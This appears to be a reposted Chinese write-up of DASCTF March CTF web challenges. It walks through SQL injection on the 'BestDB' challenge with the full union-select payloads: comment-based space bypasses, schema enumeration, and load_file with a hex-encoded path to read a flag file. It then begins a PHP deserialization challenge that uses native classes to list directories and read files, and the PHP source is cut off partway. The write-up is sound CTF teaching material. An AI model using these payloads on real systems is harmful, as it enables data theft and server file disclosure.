当前位置:   article > 正文

DASCTF-三月赛-web题复现

DASCTF-三月赛-web题复现

title: DASCTF 三月赛 web题复现
date: 2021-04-07 15:04:52
tags: DASCTF

BestDB

0x01

源码给了查询语句

$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
  • 1

过滤单引号,但没过滤双引号,所以选择闭合后面的用户名进行union查询

查表名

query=-1"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
//f1agdas,users
  • 1
  • 2

查字段

query=-1"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"%23
//id,f1agdas
  • 1
  • 2

查数据

query=-1"/**/union/**/select/**/f1agdas,2,3/**/from/**/f1agdas%23
//flag.txt
  • 1
  • 2

返回一个文件名,使用load_file读取/flag.txt获得flag,flag被过滤了,可以使用16进制编码绕过

query=-1"/**/union/**/select/**/load_file(0x2F666C61672E747874),2,3%23
  • 1

ez_serialize

0x01

题目给了源码,序列化的题目,但是源码中并没有可以利用的类,所以是php原生类的利用

spl,标准php类库,里面存着一些php原生类,其中有可以遍历目录或读取文件

DirectoryIterator 遍历目录 直接echo会输出目录下的.(即表示当前目录的符号)

FilesystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名

SplFileObject 读取文件内容,按行读取,跨行需要遍历

源码如下

 <?php
error_reporting(0);
highlight_file(__FILE__);

class A{
   
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
   
        $this->class = "B";
        $this<
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/煮酒与君饮/article/detail/900676
推荐阅读
相关标签
  

闽ICP备14008679号